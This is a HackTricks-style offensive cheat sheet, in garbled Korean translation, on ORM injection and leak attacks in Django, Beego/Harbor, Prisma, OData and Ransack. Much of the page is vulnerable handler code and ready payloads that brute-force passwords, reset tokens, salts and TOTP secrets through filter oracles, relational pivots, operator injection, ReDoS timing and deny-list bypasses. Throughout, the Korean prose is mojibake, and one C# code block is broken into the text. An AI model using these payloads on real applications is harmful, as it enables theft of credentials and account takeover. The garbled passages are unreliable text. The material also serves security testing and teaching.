ORM Injection
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Django ORM (Python)
In this post ์์๋ ์๋ฅผ ๋ค์ด ๋ค์๊ณผ ๊ฐ์ ์ฝ๋๋ฅผ ์ฌ์ฉํด Django ORM์ ์ทจ์ฝํ๊ฒ ๋ง๋ค ์ ์๋ ๋ฐฉ๋ฒ์ ์ค๋ช ํ๋ค:
class ArticleView(APIView):
"""
Some basic API view that users send requests to for
searching for articles
"""
def post(self, request: Request, format=None):
try:
articles = Article.objects.filter(**request.data)
serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)
๋ชจ๋ request.data (which will be a json)๊ฐ ์ง์ filter objects from the database์ ์ ๋ฌ๋๋ ๊ฒ์ ์ฃผ๋ชฉํ๋ผ. ๊ณต๊ฒฉ์๋ ์์์น ๋ชปํ filters๋ฅผ ๋ณด๋ด ์์๋ณด๋ค ๋ ๋ง์ ๋ฐ์ดํฐ๋ฅผ leakํ ์ ์๋ค.
Examples:
- Login: ๊ฐ๋จํ Login์์๋ ๋ด๋ถ์ ๋ฑ๋ก๋ ์ฌ์ฉ์๋ค์ passwords๋ฅผ leakํ๋ ค ์๋ํ ์ ์๋ค.
{
"username": "admin",
"password_startswith": "a"
}
Caution
๋น๋ฐ๋ฒํธ๊ฐ leak๋ ๋๊น์ง brute-forceํ ์ ์์ต๋๋ค.
- Relational filtering: ์ฐ๊ด ๊ด๊ณ๋ฅผ ๋ฐ๋ผ๊ฐ๋ฉด์ ํด๋น ์์
์์ ์ฌ์ฉ๋ ๊ฒ์ผ๋ก ์์๋์ง ์์๋ ์ปฌ๋ผ์ ์ ๋ณด๋ฅผ leakํ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด, ๋ค์๊ณผ ๊ฐ์ ๊ด๊ณ๊ฐ ์์ ๋ ์ฌ์ฉ์๊ฐ ์์ฑํ articles๋ฅผ leakํ ์ ์์ต๋๋ค: Article(
created_by) -[1..1]-> Author (user) -[1..1]-> User(password).
{
"created_by__user__password__contains": "pass"
}
Caution
๊ฒ์๋ฌผ์ ์์ฑํ ๋ชจ๋ ์ฌ์ฉ์์ ๋น๋ฐ๋ฒํธ๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค
- Many-to-many relational filtering: ์ด์ ์์ ์์๋ ๊ฒ์๋ฌผ์ ์์ฑํ์ง ์์ ์ฌ์ฉ์๋ค์ ๋น๋ฐ๋ฒํธ๋ฅผ ์ฐพ์ ์ ์์์ต๋๋ค. ํ์ง๋ง ๋ค๋ฅธ ๊ด๊ณ๋ฅผ ๋ฐ๋ผ๊ฐ๋ฉด ์ด๊ฒ์ด ๊ฐ๋ฅํฉ๋๋ค. ์๋ฅผ ๋ค์ด: Article(
created_by) -[1..1]-> Author(departments) -[0..*]-> Department(employees) -[0..*]-> Author(user) -[1..1]-> User(password).
{
"created_by__departments__employees__user_startswith": "admi"
}
Caution
์ด ๊ฒฝ์ฐ articles๋ฅผ ์์ฑํ users์ ๋ถ์(departments)์ ์๋ ๋ชจ๋ users๋ฅผ ์ฐพ์ ๊ทธ๋ค์ ๋น๋ฐ๋ฒํธ๋ฅผ leakํ ์ ์์ต๋๋ค (์ด์ json์์๋ usernames๋ง leakํ๊ณ ์์์ง๋ง ์ดํ์๋ passwords๋ฅผ leakํ๋ ๊ฒ์ด ๊ฐ๋ฅํฉ๋๋ค).
- Abusing Django Group and Permission many-to-may relations with users: ๋ํ AbstractUser ๋ชจ๋ธ์ Django์์ users๋ฅผ ์์ฑํ๋ ๋ฐ ์ฌ์ฉ๋๋ฉฐ, ๊ธฐ๋ณธ์ ์ผ๋ก ์ด ๋ชจ๋ธ์ many-to-many relationships with the Permission and Group tables๋ฅผ ๊ฐ์ง๊ณ ์์ต๋๋ค. ์ด๋ ๊ฐ์ group์ ์๊ฑฐ๋ ๋์ผํ permission์ ๊ณต์ ํ๋ ๊ฒฝ์ฐ ํ user๋ก๋ถํฐ ๋ค๋ฅธ users์ access other users from one userํ ์ ์๋ ๊ธฐ๋ณธ ๋ฐฉ๋ฒ์ ๋๋ค.
# By users in the same group
created_by__user__groups__user__password
# By users with the same permission
created_by__user__user_permissions__user__password
- ํํฐ ์ ํ ์ฐํ: ๊ฐ์ ๋ธ๋ก๊ทธ ํฌ์คํธ๋
articles = Article.objects.filter(is_secret=False, **request.data)๊ฐ์ ํํฐ๋ง์ ์ฐํํ๋ ๋ฐฉ๋ฒ์ ์ ์ํ๋ค. ๊ด๊ณ๋ฅผ ํตํด Article ํ ์ด๋ธ๋ก ์ญ์ฐธ์กฐํ ์ ์์ด, ๊ฒฐ๊ณผ๊ฐ ์กฐ์ธ๋ ๋ is_secret ํ๋๋ ๋น๋ฐ์ด ์๋ Article์์ ๊ฒ์ฌ๋์ง๋ง ์ค์ ๋ฐ์ดํฐ๋ ๋น๋ฐ Article์์ leak๋๋ฏ๋ก is_secret=True์ธ article๋ค์ ๋คํํ ์ ์๋ค.
Article.objects.filter(is_secret=False, categories__articles__id=2)
Caution
๊ด๊ณ๋ฅผ ์ ์ฉํ๋ฉด ํ์๋๋ ๋ฐ์ดํฐ๋ฅผ ๋ณดํธํ๋ ค๋ ํํฐ์กฐ์ฐจ ์ฐํํ ์ ์์ต๋๋ค.
- Error/Time based via ReDoS: ์ด์ ์์ ๋ค์์๋ ํํฐ๊ฐ ์๋ํ๋์ง ์ฌ๋ถ์ ๋ฐ๋ผ ์๋ต์ด ๋ฌ๋ผ ์ด๋ฅผ oracle๋ก ์ฌ์ฉํ๋ค๊ณ ๊ฐ์ ํ์ต๋๋ค. ํ์ง๋ง ๋ฐ์ดํฐ๋ฒ ์ด์ค์์ ์ด๋ค ๋์์ด ์ํ๋์ด ์๋ต์ด ํญ์ ๋์ผํ ์ ์์ต๋๋ค. ์ด ๊ฒฝ์ฐ ๋ฐ์ดํฐ๋ฒ ์ด์ค ์ค๋ฅ๋ฅผ ๋ฐ์์์ผ ์๋ก์ด oracle์ ์ป์ ์ ์์ต๋๋ค.
// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}
// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
๊ฐ์ ๊ฒ์๋ฌผ์์ ์ด ๋ฒกํฐ์ ๊ดํด:
- SQLite: ๊ธฐ๋ณธ์ ์ผ๋ก regexp operator๊ฐ ์๋ค (์๋ํํฐ ํ์ฅ ๋ก๋ ํ์)
- PostgreSQL: ๊ธฐ๋ณธ regex timeout์ด ์๊ณ backtracking์ ๋ ์ทจ์ฝํ๋ค
- MariaDB: regex timeout์ด ์๋ค
Beego ORM (Go) & Harbor Filter Oracles
Beego๋ Django์ field__operator DSL์ ๋ชจ๋ฐฉํ๋ฏ๋ก, ์ฌ์ฉ์๊ฐ QuerySeter.Filter()์ ์ฒซ ๋ฒ์งธ ์ธ์๋ฅผ ์ ์ดํ ์ ์๊ฒ ํด์ฃผ๋ ํธ๋ค๋ฌ๋ ์ ์ฒด ๊ด๊ณ ๊ทธ๋ํ๋ฅผ ๋
ธ์ถ์ํจ๋ค:
qs := o.QueryTable("articles")
qs = qs.Filter(filterExpression, filterValue) // attacker controls key + operator
์๋ฅผ ๋ค์ด /search?filter=created_by__user__password__icontains=pbkdf ๊ฐ์ ์์ฒญ์ ์์ Django primitives์ ๋ง์ฐฌ๊ฐ์ง๋ก ์ธ๋ ํค๋ฅผ ํตํด ํผ๋ฒํ ์ ์๋ค. Harbor์ q ํฌํผ๋ ์ฌ์ฉ์ ์
๋ ฅ์ Beego ํํฐ๋ก ํ์ฑํ๊ธฐ ๋๋ฌธ์, ๊ถํ์ด ๋ฎ์ ์ฌ์ฉ์๊ฐ ๋ชฉ๋ก ์๋ต์ ๊ด์ฐฐํ์ฌ ๋น๋ฐ์ ํ์ํ ์ ์์๋ค:
GET /api/v2.0/users?q=password=~$argon2id$โ ์ด๋ค ํด์๊ฐ$argon2id$๋ฅผ ํฌํจํ๋์ง ๋๋ฌ๋ธ๋ค.GET /api/v2.0/users?q=salt=~abcโ leaks salt substrings.
๋ฐํ๋ ํ ์๋ฅผ ์ธ๊ฑฐ๋, ํ์ด์ง๋ค์ด์ ๋ฉํ๋ฐ์ดํฐ๋ฅผ ๊ด์ฐฐํ๊ฑฐ๋, ์๋ต ๊ธธ์ด๋ฅผ ๋น๊ตํ๋ฉด ์ ์ฒด hashes, salts, and TOTP seeds๋ฅผ brute-forceํ ์ ์๋ ์ค๋ผํด์ ์ ๊ณตํ๋ค.
parseExprs๋ก Harbor์ ํจ์น ์ฐํํ๊ธฐ
Harbor๋ ๋ฏผ๊ฐํ ํ๋๋ฅผ filter:"false"๋ก ํ๊ทธํ๊ณ ํํ์์ ์ฒซ ๋ฒ์งธ ์ธ๊ทธ๋จผํธ๋ง ๊ฒ์ฆํ๋๋ก ์๋ํ๋ค:
k := strings.SplitN(key, orm.ExprSep, 2)[0]
if _, ok := meta.Filterable(k); !ok { continue }
qs = qs.Filter(key, value)
Beegoโs internal parseExprs walks every __-delimited segment and, when the current segment is not a relation, it simply overwrites the target field with the next segment. Payloads such as email__password__startswith=foo therefore pass Harborโs Filterable(email)=true check but execute as password__startswith=foo, bypassing ๊ฑฐ๋ถ ๋ชฉ๋ก.
v2.13.1 limited keys to a single separator, but Harborโs own fuzzy-match builder appends operators after validation: q=email__password=~abc โ Filter("email__password__icontains", "abc"). The ORM again interprets that as password__icontains. Beego apps that only inspect the first __ component or that append operators later in the request pipeline stay vulnerable to the same overwrite primitive and can still be abused as blind leak oracles.
Prisma ORM (NodeJS)
The following are tricks extracted from this post.
- Full find control:
const app = express();
app.use(express.json());
app.post('/articles/verybad', async (req, res) => {
try {
// Attacker has full control of all prisma options
const posts = await prisma.article.findMany(req.body.filter)
res.json(posts);
} catch (error) {
res.json([]);
}
});
์ ์ฒด javascript ๋ณธ๋ฌธ์ด prisma๋ก ์ ๋ฌ๋์ด ์ฟผ๋ฆฌ๋ฅผ ์ํํ๋ ๊ฒ์ ํ์ธํ ์ ์์ต๋๋ค.
์๋ฌธ ํฌ์คํธ์ ์์์๋, ์ด๊ฒ์ด ๋ชจ๋ posts์ createdBy๋ฅผ ํ์ธํ์ฌ ๊ทธ ์ฌ๋์ ์ฌ์ฉ์ ์ ๋ณด(username, passwordโฆ)๋ ๋ฐํํ๊ฒ ๋ฉ๋๋ค.
{
"filter": {
"include": {
"createdBy": true
}
}
}
// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]
๋ค์ ๊ฒ์ password๋ฅผ ๊ฐ์ง ์ฌ์ฉ์๊ฐ ์์ฑํ ๋ชจ๋ posts๋ฅผ ์ ํํ๊ณ password๋ฅผ ๋ฐํํฉ๋๋ค:
{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}
// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
- where ์ ์ ์ฒด ์ ์ด:
๊ณต๊ฒฉ์๊ฐ where ์ ์ ์ ์ดํ ์ ์๋ ์์ ๋ฅผ ์ดํด๋ณด์:
app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
where: req.query.filter as any // Vulnerable to ORM Leaks
})
res.json(posts);
} catch (error) {
res.json([]);
}
});
๋ค์๊ณผ ๊ฐ์ด ์ฌ์ฉ์์ ๋น๋ฐ๋ฒํธ๋ฅผ ์ง์ ํํฐ๋งํ ์ ์๋ค:
await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas",
},
},
},
})
Caution
startsWith๊ฐ์ ์ฐ์ฐ์ ์ฌ์ฉํ๋ฉด ์ ๋ณด๊ฐ leak๋ ์ ์์ต๋๋ค.
- Many-to-many relational filtering bypassing filtering:
app.post("/articles", async (req, res) => {
try {
const query = req.body.query
query.published = true
const posts = await prisma.article.findMany({ where: query })
res.json(posts)
} catch (error) {
res.json([])
}
})
๋ค์๊ณผ ๊ฐ์ด Category -[*..*]-> Article ์ฌ์ด์ ๋ค๋๋ค ๊ด๊ณ๋ก ๋๋์๊ฐ๋ฉด ๋ฏธ๊ฒ์๋ Article๋ค์ leakํ ์ ์๋ค:
{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
์ผ๋ถ loop back many-to-many relationships๋ฅผ ์ ์ฉํ๋ฉด ๋ชจ๋ ์ฌ์ฉ์๋ฅผ leakํ ์๋ ์์ต๋๋ค:
{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
- Error/Timed queries: ์๋ฌธ ํฌ์คํธ์์๋ time based payload๋ก ์ ๋ณด๋ฅผ leakํ๊ธฐ ์ํ ์ต์ ์ payload๋ฅผ ์ฐพ๊ธฐ ์ํด ์ํ๋ ๋งค์ฐ ๊ด๋ฒ์ํ ํ ์คํธ ์งํฉ์ ํ์ธํ ์ ์์ต๋๋ค. ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}
{CONTAINS_LIST}๋ 1000๊ฐ์ ๋ฌธ์์ด๋ก ๊ตฌ์ฑ๋ ๋ฆฌ์คํธ๋ก, ์ฌ๋ฐ๋ฅธ leak์ด ๋ฐ๊ฒฌ๋์์ ๋ ์๋ต์ด ์ง์ฐ๋๋๋ก ํฉ๋๋ค.
Type confusion on where filters (operator injection)
Prismaโs query API๋ ์์ ๊ฐ(primitive values) ๋๋ operator ๊ฐ์ฒด๋ฅผ ํ์ฉํฉ๋๋ค. ํธ๋ค๋ฌ๊ฐ ์์ฒญ ๋ณธ๋ฌธ์ด ๋จ์ ๋ฌธ์์ด์ด๋ผ๊ณ ๊ฐ์ ํ๊ณ ์ด๋ฅผ ์ง์ where์ ์ ๋ฌํ๋ฉด, ๊ณต๊ฒฉ์๋ ์ธ์ฆ ํ๋ฆ์ operator๋ฅผ ์ฃผ์
ํ์ฌ ํ ํฐ ๊ฒ์ฌ๋ฅผ ์ฐํํ ์ ์์ต๋๋ค.
const user = await prisma.user.findFirstOrThrow({
where: { resetToken: req.body.resetToken as string }
})
Common coercion vectors:
- JSON body (default
express.json()):{"resetToken":{"not":"E"},"password":"newpass"}โ token์ดE๊ฐ ์๋ ๋ชจ๋ ์ฌ์ฉ์์ ์ผ์นํฉ๋๋ค. - URL-encoded body with
extended: true:resetToken[not]=E&password=newpassbecomes the same object. - Query string in Express <5 or with extended parsers:
/reset?resetToken[contains]=argon2leaks substring matches. - cookie-parser JSON cookies:
Cookie: resetToken=j:{"startsWith":"0x"}if cookies are forwarded to Prisma.
Because Prisma happily evaluates { resetToken: { not: ... } }, { contains: ... }, { startsWith: ... }, etc., any equality check on secrets (reset tokens, API keys, magic links) can be widened into a predicate that succeeds without knowing the secret. ์ด๊ฑธ relational filters(createdBy)์ ๊ฒฐํฉํ๋ฉด ํผํด์๋ฅผ ์ ํํ ์ ์์ต๋๋ค.
Look for flows where:
- Request schemas arenโt enforced, so nested objects survive deserialization.
- Extended body/query parsers stay enabled and accept bracket syntax.
- Handlers forward user JSON directly into Prisma instead of mapping onto allow-listed fields/operators.
Entity Framework & OData Filter Leaks
Reflection-based text helpers leak secrets
Microsoft TextFilter helper abused for leaks
```csharp IQueryable๋ชจ๋ ๋ฌธ์์ด ์์ฑ์ ์ด๊ฑฐํ๊ณ ์ด๋ฅผ .Contains(term)์ผ๋ก ๊ฐ์ธ๋ ํฌํผ๋ ์๋ํฌ์ธํธ๋ฅผ ํธ์ถํ ์ ์๋ ์ฌ์ฉ์์๊ฒ passwords, API tokens, salts, and TOTP secrets๋ฅผ ์ฌ์ค์ ๋
ธ์ถ์ํจ๋ค. Directus CVE-2025-64748๋ directus_users ๊ฒ์ ์๋ํฌ์ธํธ๊ฐ ์์ฑ๋ LIKE ์ ์ด์ token๊ณผ tfa_secret์ ํฌํจ์์ผ ๊ฒฐ๊ณผ ๊ฐ์๋ฅผ leak oracle๋ก ๋ฐ๊พผ ์ค์ ์ฌ๋ก๋ค.
OData ๋น๊ต ์ค๋ผํด
ASP.NET OData ์ปจํธ๋กค๋ฌ๋ ์ข
์ข
IQueryable<T>๋ฅผ ๋ฐํํ๊ณ $filter๋ฅผ ํ์ฉํ๋๋ฐ, contains์ ๊ฐ์ ํจ์๋ค์ด ๋นํ์ฑํ๋์ด ์์ด๋ ๋ง์ฐฌ๊ฐ์ง๋ค. EDM์ด ํด๋น ์์ฑ์ ๋
ธ์ถํ๋ ํ, ๊ณต๊ฒฉ์๋ ์ฌ์ ํ ๊ทธ ์์ฑ์ ๋ํด ๋น๊ต ์ฐ์ฐ์ ์ํํ ์ ์๋ค:
GET /odata/Articles?$filter=CreatedBy/TfaSecret ge 'M'&$top=1
GET /odata/Articles?$filter=CreatedBy/TfaSecret lt 'M'&$top=1
๊ฒฐ๊ณผ์ ์กด์ฌ ์ฌ๋ถ(๋๋ pagination metadata)๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ collation(์ ๋ ฌ ๊ท์น)์ ๋ฐ๋ผ ๊ฐ ๋ฌธ์๋ฅผ ์ด์ง ํ์(binary-search)ํ ์ ์๊ฒ ํ๋ค. Navigation properties (CreatedBy/Token, CreatedBy/User/Password)๋ Django/Beego์ ์ ์ฌํ relational pivots์ ๊ฐ๋ฅํ๊ฒ ํ๋ฏ๋ก, ๋ฏผ๊ฐํ ํ๋๋ฅผ ๋
ธ์ถํ๊ฑฐ๋ ์์ฑ๋ณ deny-lists๋ฅผ ๊ฑด๋๋ฐ๋ EDM์ ์ฌ์ด ํ์ ์ด ๋๋ค.
์ฌ์ฉ์ ๋ฌธ์์ด์ ORM ์ฐ์ฐ์๋ก ๋ณํํ๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ๋ฐ ๋ฏธ๋ค์จ์ด(์: Entity Framework dynamic LINQ helpers, Prisma/Sequelize wrappers)๋ ์๊ฒฉํ ํ๋/์ฐ์ฐ์ ํ์ฉ ๋ชฉ๋ก(allow-lists)์ ๊ตฌํํ์ง ์๋ ํ ๊ณ ์ํ sink๋ก ๊ฐ์ฃผํด์ผ ํ๋ค.
Ransack (Ruby)
These tricks where found in this post.
Tip
Ransack 4.0.0.0๋ถํฐ๋ ๊ฒ์ ๊ฐ๋ฅํ ์์ฑ๊ณผ ์ฐ๊ด(associations)์ ๋ํด ๋ช ์์ ์ธ ํ์ฉ ๋ชฉ๋ก(allow list)์ ์ฌ์ฉํ๋๋ก ๊ฐ์ ํฉ๋๋ค.
์ทจ์ฝํ ์์ :
def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end
์ฟผ๋ฆฌ๊ฐ ๊ณต๊ฒฉ์๊ฐ ์ ์กํ ๋งค๊ฐ๋ณ์์ ์ํด ์ ์๋๋ค๋ ์ ์ ์ฃผ๋ชฉํ์ธ์. ์๋ฅผ ๋ค์ด reset token์ brute-forceํ ์ ์์์ต๋๋ค:
GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...
By brute-forcing๊ณผ ์ ์ฌ์ ์ธ ๊ด๊ณ๋ฅผ ํตํด ๋ฐ์ดํฐ๋ฒ ์ด์ค์์ ๋ ๋ง์ ๋ฐ์ดํฐ๋ฅผ leakํ ์ ์์๋ค.
Collation์ ๊ณ ๋ คํ leak ์ ๋ต
๋ฌธ์์ด ๋น๊ต๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค collation์ ์์ํ๋ฏ๋ก, leak oracles๋ ๋ฐฑ์๋๊ฐ ๋ฌธ์๋ฅผ ์ด๋ป๊ฒ ์ ๋ ฌํ๋์ง์ ๋ง์ถฐ ์ค๊ณ๋์ด์ผ ํ๋ค:
- Default MariaDB/MySQL/SQLite/MSSQL collations๋ ์ข
์ข
๋์๋ฌธ์๋ฅผ ๊ตฌ๋ถํ์ง ์์ผ๋ฏ๋ก,
LIKE/=๋a์A๋ฅผ ๊ตฌ๋ถํ ์ ์๋ค. ๋น๋ฐ์ ๋์๋ฌธ์๊ฐ ์ค์ํ ๊ฒฝ์ฐ ๋์๋ฌธ์ ๊ตฌ๋ถ ์ฐ์ฐ์(regex/GLOB/BINARY)๋ฅผ ์ฌ์ฉํ๋ผ. - Prisma ๋ฐ Entity Framework๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค ์ ๋ ฌ์ ๊ทธ๋๋ก ๋ฐ๋ฅธ๋ค. MSSQL์
SQL_Latin1_General_CP1_CI_AS๊ฐ์ collations๋ ๊ตฌ๋์ (punctuation)์ ์ซ์์ ๋ฌธ์๋ณด๋ค ์์ ๋ฐฐ์นํ๋ฏ๋ก, ์ด์ง ํ์ ํ๋ก๋ธ๋ raw ASCII ๋ฐ์ดํธ ์์ ๋์ ๊ทธ ์ ๋ ฌ์ ๋ฐ๋ผ์ผ ํ๋ค. - SQLite์
LIKE๋ ์ปค์คํ collation์ด ๋ฑ๋ก๋์ง ์์ ํ ๋์๋ฌธ์๋ฅผ ๊ตฌ๋ถํ์ง ์์ผ๋ฏ๋ก, Django/Beego leaks๋ ๋์๋ฌธ์ ๊ตฌ๋ถ ํ ํฐ์ ๋ณต์ํ๊ธฐ ์ํด__regex์กฐ๊ฑด์ด ํ์ํ ์ ์๋ค.
์ค์ collation์ payloads๋ฅผ ๋ณด์ ํ๋ฉด ๋ญ๋น๋๋ ํ๋ก๋ธ๋ฅผ ์ค์ด๊ณ ์๋ํ๋ substring/binary-search ๊ณต๊ฒฉ์ ์๋๋ฅผ ํฌ๊ฒ ๋์ผ ์ ์๋ค.
References
- https://www.elttam.com/blog/plormbing-your-django-orm/
- https://www.elttam.com/blog/plorming-your-primsa-orm/
- https://www.elttam.com/blog/leaking-more-than-you-joined-for/
- https://positive.security/blog/ransack-data-exfiltration
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


